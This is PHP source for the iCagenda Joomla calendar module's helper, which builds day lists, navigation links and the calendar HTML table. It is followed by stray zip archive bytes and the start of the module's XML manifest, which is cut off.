			if ((date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1]))
					|| (! iCDate::isDate($ex_reg[1]) && $ex_reg[2] == 1))
				&& $typeReg == 1
				&& $event_id == $ex_reg[0]
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

			elseif ( ! iCDate::isDate($date)
				&& $typeReg == 1
				&& $event_id == $ex_reg[0]
				)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

			elseif ($typeReg == 2)
			{
				$nb_registrations = $nb_registrations + $ex_reg[3];
			}

//			elseif ( ! $date || $date == 'period')
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
//			elseif (date('Y-m-d H:i', strtotime($date)) == date('Y-m-d H:i', strtotime($ex_reg[1])))
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
//			elseif ( ! $set_date_in_url && $ex_reg[1] == 'period' && $event_id == $ex_reg[0])
//			{
//				$nb_registrations = $nb_registrations + $ex_reg[3];
//			}
		}

		return $nb_registrations;
	}


	// Function to get Format Date (using option format, and translation)
	protected function formatDate($date, $tz = false)
	{
		// Date Format Option (Global Component Option)
		$date_format_global	= JComponentHelper::getParams('com_icagenda')->get('date_format_global', 'Y - m - d');
		$date_format_global	= ($date_format_global !== '0') ? $date_format_global : 'Y - m - d'; // Previous 3.5.6 setting

		// Date Format Option (Module Option)
		$date_format_module	= isset($this->format) ? $this->format : '';
		$date_format_module	= ($date_format_module !== '0') ? $date_format_module : ''; // Previous 3.5.6 setting

		// Set Date Format option to be used
		$format				= $date_format_module ? $date_format_module : $date_format_global;

		// Separator Option
		$separator			= isset($this->date_separator) ? $this->date_separator : ' ';

		if ( ! is_numeric($format))
		{
			// Update old Date Format options of versions before 2.1.7
			$format = str_replace(array('nosep', 'nosep', 'sepb', 'sepa'), '', $format);
			$format = str_replace('.', ' .', $format);
			$format = str_replace(',', ' ,', $format);
		}

		$dateFormatted = iCGlobalize::dateFormat($date, $format, $separator, $tz);

		return $dateFormatted;
	}


	// Function to get TimeZone offset
	function get_timezone_offset($remote_tz, $origin_tz = null)
	{
		if ($origin_tz === null)
		{
			if (!is_string($origin_tz = date_default_timezone_get()))
			{
				return false; // A UTC timestamp was returned -- bail out!
			}
		}

		$origin_dtz	= new DateTimeZone($origin_tz);
		$remote_dtz	= new DateTimeZone($remote_tz);
		$origin_dt	= new DateTime("now", $origin_dtz);
		$remote_dt	= new DateTime("now", $remote_dtz);
		$offset		= $origin_dtz->getOffset($origin_dt) - $remote_dtz->getOffset($remote_dt);

		return $offset;
	}

	function getNbOfDaysInMonth($date)
	{
		$lang = JFactory::getLanguage();

		// Get Nb of days in the month in Jalali/Persian calendar
		if ($lang->getTag() == 'fa-IR')
		{
			$date_to_persian	= $date;
			$persian_month		= date('m', strtotime($date_to_persian));
			$persian_year		= date('Y', strtotime($date_to_persian));
			$leap_year			= fa_IRDate::leap_persian($persian_year);

			if ($persian_month < 7)
			{
				$days = 31;
			}
			elseif ($persian_month == 12)
			{
				$days = $leap_year ? 30 : 29;
			}
			else
			{
				$days = 30;
			}
		}

		// Get Nb of days in the month in Gregorian calendar
		else
		{
			$days = date("t", strtotime($date));
		}

		return $days;
	}

	// Generate the days of the month
	function getDays($d, $f)
	{
		$lang = JFactory::getLanguage();
		$eventTimeZone = null;

		$days = self::getNbOfDaysInMonth($d);

		// Set Month and Year
		$ex_data	= explode('-', $d);
		$month		= $ex_data[1];
		$year		= $ex_data[0];
		$jour		= $ex_data[2];

		$list = array();

		//
		// Setting function of the visitor Time Zone
		//
		$today = time();

		$config			= JFactory::getConfig();
		$joomla_offset	= $config->get('offset');

		$displayDatesTimezone = '0'; // Option not active

		$opt_TimeZone = isset($this->setTodayTimezone) ? $this->setTodayTimezone : '';

		$gmt_today			= gmdate('Y-m-d H:i:s', $today);
		$today_timestamp	= strtotime($gmt_today);
		$GMT_timezone		= 'Etc/UTC';

		if ($opt_TimeZone == 'SITE')
		{
			// Joomla Server Time Zone
			$visitor_timezone	= $joomla_offset;
			$offset				= $this->get_timezone_offset($GMT_timezone, $visitor_timezone);
			$visitor_today		= JHtml::date(($today_timestamp+$offset), 'Y-m-d H:i:s', null);
			$UTCsite			= $offset / 3600;

			if ($UTCsite > 0) $UTCsite = '+'.$UTCsite;

			if ($displayDatesTimezone == '1')
			{
				echo '<small>' . JHtml::date('now', 'Y-m-d H:i:s', true) . ' UTC' . $UTCsite . '</small><br />';
			}
		}
		elseif ($opt_TimeZone == 'UTC')
		{
			// UTC Time Zone
			$offset			= 0;
			$visitor_today = JHtml::date(($today_timestamp+$offset), 'Y-m-d H:i:s', null);
			$UTC			= $offset / 3600;

			if ($UTC > 0) $UTC = '+'.$UTC;

			if ($displayDatesTimezone == '1')
			{
				echo '<small>' . gmdate('Y-m-d H:i:s', $today) . ' UTC' . $UTC . '</small><br />';
			}
		}
		else
		{
			$visitor_today = JHtml::date(($today_timestamp), 'Y-m-d H:i:s', null);
		}

		$date_today	= str_replace(' ', '-', $visitor_today);
		$date_today	= str_replace(':', '-', $date_today);
		$ex_data	= explode('-', $date_today);
		$v_month	= $ex_data[1];
		$v_year		= $ex_data[0];
		$v_day		= $ex_data[2];
		$v_hours	= $ex_data[3];
		$v_minutes	= $ex_data[4];

		for ($a = 1; $a <= $days; $a++)
		{
			$calday = $a;

			$this_date_a = $year . '-' . $month . '-' . $a;

			if ($lang->getTag() == 'fa-IR')
			{
				$this_date_cal = iCGlobalizeConvert::jalaliToGregorian($year, $month, $a, true);
			}
			else
			{
				$this_date_cal = $year . '-' . $month . '-' . $a;
			}

			if (($a == $v_day) && ($month == $v_month) && ($year == $v_year))
			{
				$classDay = 'style_Today';
			}
			else
			{
				$classDay = 'style_Day';
			}

			$datejour			= JHtml::date($this_date_cal, 'Y-m-d', $eventTimeZone);
			$this_year_month	= $year . '-' . $month . '-00';
			$list_a_date		= date('Y-m-d H:i', strtotime($this_date_a));

			// Set Date in tooltip header
			$date_to_format					= $this->formatDate($this_date_cal, false);
			$list[$calday]['dateTitle']		= $date_to_format;

//			$list[$calday]['datecal']		= JHtml::date($this_date_a, 'j', null);
//			$list[$calday]['monthcal']		= JHtml::date($this_date_a, 'm', null);
//			$list[$calday]['yearcal']		= JHtml::date($this_date_a, 'Y', null);

			$list[$calday]['date']			= date('Y-m-d H:i', strtotime($this_date_cal));

//			$list[$calday]['dateFormat']	= strftime($f, strtotime($this_date_a));
			$list[$calday]['week']			= date('N', strtotime($this_date_a));
			$list[$calday]['day']			= '<div class="' . $classDay . '">' . $a . '</div>';

			// Set cal_date
			$list[$calday]['this_day']		= date('Y-m-d', strtotime($this_date_a));

			// Added in 2.1.2 (change in NAME_day.php)
			$list[$calday]['ifToday']		= $classDay;
			$list[$calday]['Days']			= $a;

			// Set event array
			$list[$calday]['events']		= array();
		}

		return $list;
	}
	/***/


	/**
	 * Single Dates list for one event
	 */
	private function getDatelist($dates)
	{
		$dates  = iCString::isSerialized($dates) ? unserialize($dates) : array();
		$list   = array();

		foreach ($dates as &$d)
		{
			if (iCDate::isDate($d))
			{
//				array_push($list, date('Y-m-d H:i', strtotime($d)));
				$list[]= date('Y-m-d H:i', strtotime($d));
			}
		}

		return $list;
	}


	/** Systeme de navigation **/
	function getNav($date_start, $modid)
	{
		$app	= JFactory::getApplication();
		$isSef	= $app->getCfg( 'sef' );

		// Return Current URL
		$url	= JUri::getInstance()->toString() . '#tag';
		$url	= preg_replace('/&iccaldate=[^&]*/', '', $url);
		$url	= preg_replace('/\?iccaldate=[^\?]*/', '', $url);

		// Set Separator for Navigation Var
		$separator = strpos($url, '?') !== false ? '&amp;' : '?';

		// Remove fragment (hashtag could be added by a third party extension, eg. nonumber framework)
		$parsed_url	= parse_url($url);
		$fragment	= isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';

		$url	= str_replace($fragment, '', $url);

		// Return Current URL Filtered
		$url	= htmlspecialchars($url);

		// Start Date
		$ex_date	= explode('-', $date_start);
		$year		= $ex_date[0];
		$month		= $ex_date[1];
		$day		= 1;

		if ($month != 1)
		{
			$backMonth = $month-1;
			$backYear = $year;
		}
		elseif ($month == 1)
		{
			$backMonth = 12;
			$backYear = $year-1;
		}

		if ($month != 12)
		{
			$nextMonth = $month+1;
			$nextYear = $year;
		}
		elseif ($month == 12)
		{
			$nextMonth = 1;
			$nextYear = $year+1;
		}

		$backYYear = $year-1;
		$nextYYear = $year+1;

		// A11Y (experimental, since 3.5.14) : see https://www.w3.org/TR/2012/NOTE-WCAG20-TECHS-20120103/C7
		$icTitleAccess = 'height: 1px; width: 1px; position: absolute; overflow: hidden; top: -10px;';

		// Create Navigation Arrows
		$classBackYear	= 'backicY icagendabtn_' . $modid;
		$urlBackYear	= $url . $separator . 'iccaldate=' . $backYYear . '-' . $month . '-' . $day;
		$iconBackYear	= '<span class="iCicon iCicon-backicY"></span>';

		$backY	= '<a id="ic-prev-year" class="' . $classBackYear . '"'
				. ' href="' . $urlBackYear . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_PREVIOUS_YEAR') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_PREVIOUS_YEAR') . '</span>'
				. $iconBackYear
				. '</a>';

		$classBackMonth	= 'backic icagendabtn_' . $modid;
		$urlBackMonth	= $url . $separator . 'iccaldate=' . $backYear . '-' . $backMonth . '-' . $day;
		$iconBackMonth	= '<span class="iCicon iCicon-backic"></span>';

		$back	= '<a id="ic-prev-month" class="' . $classBackMonth . '"'
				. ' href="' . $urlBackMonth . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_PREVIOUS_MONTH') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_PREVIOUS_MONTH') . '</span>'
				. $iconBackMonth
				. '</a>';

		$classNextMonth	= 'nextic icagendabtn_' . $modid;
		$urlNextMonth	= $url . $separator . 'iccaldate=' . $nextYear . '-' . $nextMonth . '-' . $day;
		$iconNextMonth	= '<span class="iCicon iCicon-nextic"></span>';

		$next	= '<a id="ic-next-month" class="' . $classNextMonth . '"'
				. ' href="' . $urlNextMonth . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_NEXT_MONTH') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_NEXT_MONTH') . '</span>'
				. $iconNextMonth
				. '</a>';

		$classNextYear	= 'nexticY icagendabtn_' . $modid;
		$urlNextYear	= $url . $separator . 'iccaldate=' . $nextYYear . '-' . $month . '-' . $day;
		$iconNextYear	= '<span class="iCicon iCicon-nexticY"></span>';

		$nextY	= '<a id="ic-next-year" class="' . $classNextYear . '"'
				. ' href="' . $urlNextYear . '"'
//				. ' title="' . JText::_('MOD_ICCALENDAR_NEXT_YEAR') . '"'
				. ' rel="nofollow">'
				. '<span style="' . $icTitleAccess . '" title="">' . JText::_('MOD_ICCALENDAR_NEXT_YEAR') . '</span>'
				. $iconNextYear
				. '</a>';

		if ( ! $this->month_nav) $back = $next = '';
		if ( ! $this->year_nav) $backY = $nextY = '';

		/** translate the month in the calendar module -- Leland Vandervort **/
		$dateFormat = date('Y-m-d', strtotime($date_start));

		// split out the month and year to obtain translation key for JText using joomla core translation
		$t_day		= strftime("%d", strtotime("$dateFormat"));
		$t_month	= date('F', strtotime($dateFormat));
		$t_year		= strftime("%Y", strtotime("$dateFormat"));

		$lang		= JFactory::getLanguage();
		$langTag	= $lang->getTag();

		$yearBeforeMonth = array('ar-AA', 'ja-JP', 'hu-HU', 'zh-CN', 'zh-TW');

		$monthBeforeYear = in_array($langTag, $yearBeforeMonth) ? 0 : 1;

		/**
		 * Get prefix, suffix and separator for month and year in calendar title
		 */

		// Separator Month/Year
		$separator_month_year = JText::_('SEPARATOR_MONTH_YEAR');
		if ($separator_month_year == 'CALENDAR_SEPARATOR_MONTH_YEAR_FACULTATIVE')
		{
			$separator_month_year = ' ';
		}
		elseif ($separator_month_year == 'NO_SEPARATOR')
		{
			$separator_month_year = '';
		}

		// Prefix Month (Facultative)
		$prefix_month = JText::_('PREFIX_MONTH');
		if ($prefix_month == 'CALENDAR_PREFIX_MONTH_FACULTATIVE')
		{
			$prefix_month = '';
		}

		// Suffix Month (Facultative)
		$suffix_month = JText::_('SUFFIX_MONTH');
		if ($suffix_month == 'CALENDAR_SUFFIX_MONTH_FACULTATIVE')
		{
			$suffix_month = '';
		}

		// Prefix Year (Facultative)
		$prefix_year = JText::_('PREFIX_YEAR');
		if ($prefix_year == 'CALENDAR_PREFIX_YEAR_FACULTATIVE')
		{
			$prefix_year = '';
		}

		// Suffix Year (Facultative)
		$suffix_year = JText::_('SUFFIX_YEAR');
		if ($suffix_year == 'CALENDAR_SUFFIX_YEAR_FACULTATIVE')
		{
			$suffix_year = '';
		}

		$SEP	= $separator_month_year;
		$PM		= $prefix_month;
		$SM		= $suffix_month;
		$PY		= $prefix_year;
		$SY		= $suffix_year;

		// Get MONTH_CAL string or if not translated, use MONTHS
		$array_months = array(
			'JANUARY', 'FEBRUARY', 'MARCH', 'APRIL', 'MAY', 'JUNE',
			'JULY', 'AUGUST', 'SEPTEMBER', 'OCTOBER', 'NOVEMBER', 'DECEMBER'
		);

		$cal_string			= $t_month . '_CAL';
		$missing_cal_string	= iCFilterOutput::stringToJText($cal_string);

		if ( in_array($missing_cal_string, $array_months) )
		{
			// if MONTHS_CAL strings not translated in current language, use MONTHS strings
			$month_J = JText::_( $t_month );
		}
		else
		{
			// Use MONTHS_CAL strings when translated in current language
			$month_J = JText::_( $t_month . '_CAL' );
		}

		// Set Calendar Title
		if ($monthBeforeYear == 0)
		{
			$title = $PY . $t_year . $SY . $SEP . $PM . $month_J . $SM;
		}
		else
		{
			$title = $PM . $month_J . $SM . $SEP . $PY . $t_year . $SY;
		}

		// Set Nav Bar for calendar
		$html = '<div class="icnav">' . $backY . $back . $nextY . $next;
		$html.= '<div class="titleic">' . $title . '</div>';
		$html.= '</div><div style="clear:both"></div>';

		return $html;
	}
}


class cal
{
	public $data;
	public $template;
	public $t_calendar;
	public $t_day;
	public $nav;
	public $fontcolor;
	private $header_text;

	function __construct ($data, $t_calendar, $t_day, $nav,
		$firstday, $columns_bg_color,
		$calfontcolor, $OneEventbgcolor, $Eventsbgcolor, $bgcolor, $bgimage, $bgimagerepeat,
		$moduleclass_sfx, $modid, $template, $ictip_ordering, $header_text)
	{
		$this->data				= $data;
		$this->t_calendar		= $t_calendar;
		$this->t_day			= $t_day;
		$this->nav				= $nav;
		$this->firstday			= $firstday;
		$this->calfontcolor		= $calfontcolor;
		$this->OneEventbgcolor	= $OneEventbgcolor;
		$this->Eventsbgcolor	= $Eventsbgcolor;
		$this->bgcolor			= $bgcolor;
		$this->bgimage			= $bgimage;
		$this->bgimagerepeat	= $bgimagerepeat;
		$this->moduleclass_sfx	= $moduleclass_sfx;
		$this->modid			= $modid;
		$this->template			= $template;
		$this->ictip_ordering	= $ictip_ordering;
		$this->header_text		= $header_text;

		// Columns Background colors
		$cbc					= $columns_bg_color;

		$this->weekdays = array('MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN');

		switch ($this->firstday)
		{
			case 0:
				$this->colbg	= array($cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6]);
				$this->day		= array(7, 1, 2, 3, 4, 5, 6);
				break;

			case 1:
				$this->colbg	= array($cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0]);
				$this->day		= array(1, 2, 3, 4, 5, 6, 7);
				break;

			case 2:
				$this->colbg	= array($cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1]);
				$this->day		= array(2, 3, 4, 5, 6, 7, 1);
				break;

			case 3:
				$this->colbg	= array($cbc[3], $cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2]);
				$this->day		= array(3, 4, 5, 6, 7, 1, 2);
				break;

			case 4:
				$this->colbg	= array($cbc[4], $cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3]);
				$this->day		= array(4, 5, 6, 7, 1, 2, 3);
				break;

			case 5:
				$this->colbg	= array($cbc[5], $cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4]);
				$this->day		= array(5, 6, 7, 1, 2, 3, 4);
				break;

			case 6:
				$this->colbg	= array($cbc[6], $cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5]);
				$this->day		= array(6, 7, 1, 2, 3, 4, 5);
				break;

			default:
				$this->colbg	= array($cbc[0], $cbc[1], $cbc[2], $cbc[3], $cbc[4], $cbc[5], $cbc[6]);
				$this->day		= array(7, 1, 2, 3, 4, 5, 6);
				break;
		}
	}


	function days()
	{
		$this_calfontcolor	= str_replace(' ', '', $this->calfontcolor);
		$calfontcolor		= ! empty($this_calfontcolor) ? ' color:' . $this->calfontcolor . ';' : '';
		$this_bgcolor		= str_replace(' ', '', $this->bgcolor);
		$bgcolor			= ! empty($this_bgcolor) ? ' background-color:' . $this->bgcolor . ';' : '';
		$this_bgimage		= str_replace(' ', '', $this->bgimage);
		$bgimage			= ! empty($this_bgimage) ? ' background-image:url(\'' . $this->bgimage . '\');' : '';
		$this_bgimagerepeat	= str_replace(' ', '', $this->bgimagerepeat);
		$bgimagerepeat		= ! empty($this_bgimagerepeat) ? ' background-repeat:' . $this->bgimagerepeat . ';' : '';
		$iCcal_style		= '';

		if ( ! empty($this_calfontcolor)
			|| ! empty($this_bgcolor)
			|| ! empty($this_bgimage)
			|| ! empty($this_bgimagerepeat) )
		{
			$iCcal_style.= 'style="';
		}

		$iCcal_style.= $calfontcolor . $bgcolor . $bgimage;
		$iCcal_style.= ($this_bgimagerepeat && $this_bgimage) ? $bgimagerepeat : '';
		$iCcal_style.= (empty($this_bgcolor) && empty($this_bgimage)) ? ' background-color: transparent; background-image: none;' : '';
		$iCcal_style.= '"';

		// Verify Hex color strings
		$OneEventbgcolor	= preg_match('/^#[a-f0-9]{6}$/i', $this->OneEventbgcolor) ? $this->OneEventbgcolor : '';
		$Eventsbgcolor		= preg_match('/^#[a-f0-9]{6}$/i', $this->Eventsbgcolor) ? $this->Eventsbgcolor : '';

		// Start HTML rendering of calendar
		$calendar = '';

		$calendar.= '<div class="' . $this->template . ' iccalendar ' . $this->moduleclass_sfx . '" ' . $iCcal_style . ' id="' . $this->modid . '">';


		$calendar.= '<div id="mod_iccalendar_' . $this->modid . '">
			<div class="icagenda_header">' . $this->header_text . '
			</div>' . $this->nav . '
			<table id="icagenda_calendar" class="ic-table" style="width:100%;">
				<thead>
					<tr>
						<th style="width:14.2857143%;background:' . $this->colbg[0] . ';">' . JText::_($this->weekdays[($this->day[0]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[1] . ';">' . JText::_($this->weekdays[($this->day[1]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[2] . ';">' . JText::_($this->weekdays[($this->day[2]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[3] . ';">' . JText::_($this->weekdays[($this->day[3]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[4] . ';">' . JText::_($this->weekdays[($this->day[4]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[5] . ';">' . JText::_($this->weekdays[($this->day[5]-1)]) . '</th>
						<th style="width:14.2857143%;background:' . $this->colbg[6] . ';">' . JText::_($this->weekdays[($this->day[6]-1)]) . '</th>
					</tr>
				</thead>
		';

		switch ($this->data[1]['week'])
		{
			case $this->day[0]:
				break;

			case $this->day[1]:
				$calendar.= '<tr><td colspan="1"></td>';
				break;

			case $this->day[2]:
				$calendar.= '<tr><td colspan="2"></td>';
				break;

			case $this->day[3]:
				$calendar.= '<tr><td colspan="3"></td>';
				break;

			case $this->day[4]:
				$calendar.= '<tr><td colspan="4"></td>';
				break;

			case $this->day[5]:
				$calendar.= '<tr><td colspan="5"></td>';
				break;

			case $this->day[6]:
				$calendar.= '<tr><td colspan="6"></td>';
				break;

			default:
				$calendar.= '<tr><td colspan="' . ($this->data[1]['week']-$this->firstday) . '"></td>';
				break;
		}

		foreach ($this->data as &$d)
		{
			$stamp = new day($d);

			switch($stamp->week)
			{
				case $this->day[0]:
					$calendar.= '<tr><td style="background:' . $this->colbg[0] . ';">';
					break;

				case $this->day[1]:
					$calendar.= '<td style="background:' . $this->colbg[1] . ';">';
					break;

				case $this->day[2]:
					$calendar.= '<td style="background:' . $this->colbg[2] . ';">';
					break;

				case $this->day[3]:
					$calendar.= '<td style="background:' . $this->colbg[3] . ';">';
					break;

				case $this->day[4]:
					$calendar.= '<td style="background:' . $this->colbg[4] . ';">';
					break;

				case $this->day[5]:
					$calendar.= '<td style="background:' . $this->colbg[5] . ';">';
					break;

				case $this->day[6]:
					$calendar.= '<td style="background:' . $this->colbg[6] . ';">';
					break;

				default:
					$calendar.= '<td>';
					break;
			}

			$count_events = count($stamp->events);

			if ($OneEventbgcolor
				&& $OneEventbgcolor != ' '
				&& $count_events == '1')
			{
				$bg_day = $OneEventbgcolor;
			}
			elseif ($Eventsbgcolor
				&& $Eventsbgcolor != ' '
				&& $count_events > '1')
			{
				$bg_day = $Eventsbgcolor;
			}
			else
			{
				$bg_day = isset($stamp->events[0]['cat_color']) ? $stamp->events[0]['cat_color'] : '#d4d4d4';
			}

			$bgcolor		= iCColor::getBrightness($bg_day);
			$bgcolor		= ($bgcolor == 'bright') ? 'ic-bright' : 'ic-dark';
			$order			= 'first';

			$multi_events	= isset($stamp->events[1]['cat_color']) ? 'icmulti' : '';

			// Ordering by time New Theme Packs (since 3.2.9)
			$events			= $stamp->events;

			// Option for Ordering is not yet finished. This developpement is in brainstorming...
//			$ictip_ordering = '1';
//			$ictip_ordering = $this->ictip_ordering;

//			if ($ictip_ordering == '1_ASC-1_ASC' || $ictip_ordering == '1_ASC-1_DESC') $ictip_ordering = '1_ASC';
//			if ($ictip_ordering == '2_ASC-2_ASC' || $ictip_ordering == '2_ASC-2_DESC') $ictip_ordering = '2_ASC';
//			if ($ictip_ordering == '1_DESC-1_ASC' || $ictip_ordering == '1_DESC-1_DESC') $ictip_ordering = '1_DESC';
//			if ($ictip_ordering == '2_DESC-2_ASC' || $ictip_ordering == '2_DESC-2_DESC') $ictip_ordering = '2_DESC';

			// Create Functions for Ordering
			// Default $newfunc_1_ASC_2_ASC - edited 2015-07-01 to fix ordering by Time when am/pm
			
			// @deprecated 3.6.14 (php 7.2 deprecated)
// 			$newfunc_1_ASC_2_ASC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($a["cat_title"], $b["cat_title"]); } else { return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"]))); }');

//			$newfunc_1_ASC_2_DESC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($b["cat_title"], $a["cat_title"]); } else { return strcasecmp($a["time"], $b["time"]); }');
//			$newfunc_1_DESC_2_ASC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($a["cat_title"], $b["cat_title"]); } else { return strcasecmp($b["time"], $a["time"]); }');
//			$newfunc_1_DESC_2_DESC = create_function('$a, $b', 'if ($a["time"] == $b["time"]){ return strcasecmp($b["cat_title"], $a["cat_title"]); } else { return strcasecmp($b["time"], $a["time"]); }');

//			$newfunc_2_ASC_1_ASC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($a["time"], $b["time"]); } else { return strcasecmp($a["cat_title"], $b["cat_title"]); }');
//			$newfunc_2_ASC_1_DESC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($b["time"], $a["time"]); } else { return strcasecmp($a["cat_title"], $b["cat_title"]); }');
//			$newfunc_2_DESC_1_ASC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($a["time"], $b["time"]); } else { return strcasecmp($b["cat_title"], $a["cat_title"]); }');
//			$newfunc_2_DESC_1_DESC = create_function('$a, $b', 'if ($a["cat_title"] == $b["cat_title"]){ return strcasecmp($b["time"], $a["time"]); } else { return strcasecmp($b["cat_title"], $a["cat_title"]); }');

//			$newfunc_1_ASC = create_function('$a, $b', 'return strcasecmp($a["time"], $b["time"]);');
//			$newfunc_2_ASC = create_function('$a, $b', 'return strcasecmp($a["cat_title"], $b["cat_title"]);');

//			$newfunc_1_DESC = create_function('$a, $b', 'return strcasecmp($b["time"], $a["time"]);');
//			$newfunc_2_DESC = create_function('$a, $b', 'return strcasecmp($b["cat_title"], $a["cat_title"]);');

			// Order by time - Old Theme Packs (before 3.2.9) : Update Theme Pack to get all options
//			usort($stamp->events, $newfunc_1_ASC_2_ASC);
			usort($stamp->events,
				function($a, $b)
				{
					if ($a["time"] == $b["time"])
					{
						return strcasecmp($a["cat_title"], $b["cat_title"]);
					}
					else
					{
						return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"])));
					}
				}
			);

			// Time ASC and if same time : Category Title ASC (default)
//			if ($ictip_ordering == '1_ASC-2_ASC')
//			{
//				usort($events, $newfunc_1_ASC_2_ASC);
				usort($events,
					function($a, $b)
					{
						if ($a["time"] == $b["time"])
						{
							return strcasecmp($a["cat_title"], $b["cat_title"]);
						}
						else
						{
							return strcasecmp(date("H:i", strtotime($a["time"])), date("H:i", strtotime($b["time"])));
						}
					}
				);
//			}
			// Time ASC and if same time : Category Title DESC
//			elseif ($ictip_ordering == '1_ASC-2_DESC')
//			{
//				usort($events, $newfunc_1_ASC_2_DESC);
//			}
			// Time DESC and if same time : Category Title ASC
//			elseif ($ictip_ordering == '1_DESC-2_ASC')
//			{
//				usort($events, $newfunc_1_DESC_2_ASC);
//			}
			// Time DESC and if same time : Category Title DESC
//			elseif ($ictip_ordering == '1_DESC-2_DESC')
//			{
//				usort($events, $newfunc_1_DESC_2_DESC);
//			}

			// Category Title ASC and if same category : Time ASC
//			elseif ($ictip_ordering == '2_ASC-1_ASC')
//			{
//				usort($events, $newfunc_2_ASC_1_ASC);
//			}
			// Category Title ASC and if same category : Time DESC
//			elseif ($ictip_ordering == '2_ASC-1_DESC')
//			{
//				usort($events, $newfunc_2_ASC_1_DESC);
//			}
			// Category Title DESC and if same category : Time ASC
//			elseif ($ictip_ordering == '2_DESC-1_ASC')
//			{
//				usort($events, $newfunc_2_DESC_1_ASC);
//			}
			// Category Title DESC and if same category : Time DESC
//			elseif ($ictip_ordering == '2_DESC-1_DESC')
//			{
//				usort($events, $newfunc_2_DESC_1_DESC);
//			}

			// If main ordering and sub-ordering on Time : set TIME ASC (with no sub-ordering)
//			elseif ($ictip_ordering == '1_ASC')
//			{
//				usort($events, $newfunc_1_ASC);
//			}
			// If main ordering and sub-ordering on Category Title : set CATEGORY TITLE ASC (with no sub-ordering)
//			elseif ($ictip_ordering == '2_ASC')
//			{
//				usort($events, $newfunc_2_ASC);
//			}


			// Load template for day infotip
//			require $this->t_day;
			// Check to see if we have a valid template file
			if (file_exists($this->t_day))
			{
				// Store the file path
				$this->_file = $this->t_day;

				// Get the file content
				ob_start();
				require $this->t_day;
				$cal_day_layout = ob_get_contents();
				ob_end_clean();
			}

			$calendar.= $cal_day_layout;

			switch('week')
			{
				case $this->day[6]:
					$calendar.= '</td></tr>';
					break;

				default:
					$calendar.= '</td>';
					break;
			}
		}

		unset($d);

		switch ($stamp->week)
		{
			case $this->day[6]:
				break;

			default:
				$calendar.= '<td colspan="' . (7-$stamp->week) . '"></td></tr>';
				break;
		}

		$calendar.= '</table></div>';

		$calendar.= '</div>';

		echo $calendar;
	}
}


class day
{
	public $date;
	public $week;
	public $day;
	public $month;
	public $year;
	public $events;
	public $fontcolor;

	function __construct($day)
	{
		foreach ($day as $k => $v)
		{
			$this->$k = $v;
		}
	}
}
PK!mod_iccalendar/index.htmlnu&1i�PK!�u��L�L!mod_iccalendar/mod_iccalendar.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension type="module" version="2.5.14" method="upgrade" client="site">
	<name>iCagenda - Calendar</name>
	<author>Cyril Rezé / Jooml!C</author>
	<creationDate>2020-03-28</creationDate>
	<copyright>Copyright (c) 2012-2020 Jooml!C / Cyril Rezé. All rights reserved.</copyright>
	<license>GNU General Public License version 3 or later; see LICENSE.txt</license>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorUrl>www.joomlic.com</authorUrl>
	<version>3.7.12</version>
	<description>Calendar module for iCagenda component</description>

	<files>
		<filename>mod_iccalendar.xml</filename>
		<filename module="mod_iccalendar">mod_iccalendar.php</filename>
		<filename>index.html</filename>
		<filename>helper.php</filename>
		<folder>js</folder>
	</files>

	<languages folder="site">
		<language tag="en-GB">language/en-GB/en-GB.mod_iccalendar.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.mod_iccalendar.ini</language>
		<language tag="it-IT">language/it-IT/it-IT.mod_iccalendar.ini</language>
	</languages>

	<config>

		<fields id="params" name="params" type="fields" label="params" addfieldpath="/administrator/components/com_icagenda/models/fields">

			<fieldset name="basic" addfieldpath="/administrator/components/com_icagenda/assets/elements">

				<field
					name="template"
					type="modal_template"
					label="MOD_ICCALENDAR_THEME_PACK_LBL"
					description="MOD_ICCALENDAR_THEME_PACK_DESC"
					default="default"
					class="inputbox"
					size="40"
				/>

				<field
					name="iCmenuitem"
					type="modal_menulink"
					label="ICAGENDA_MODULE_MENU_ITEM_LABEL"
					description="ICAGENDA_MODULE_MENU_ITEM_DESC"
					default=""
				/>

				<field
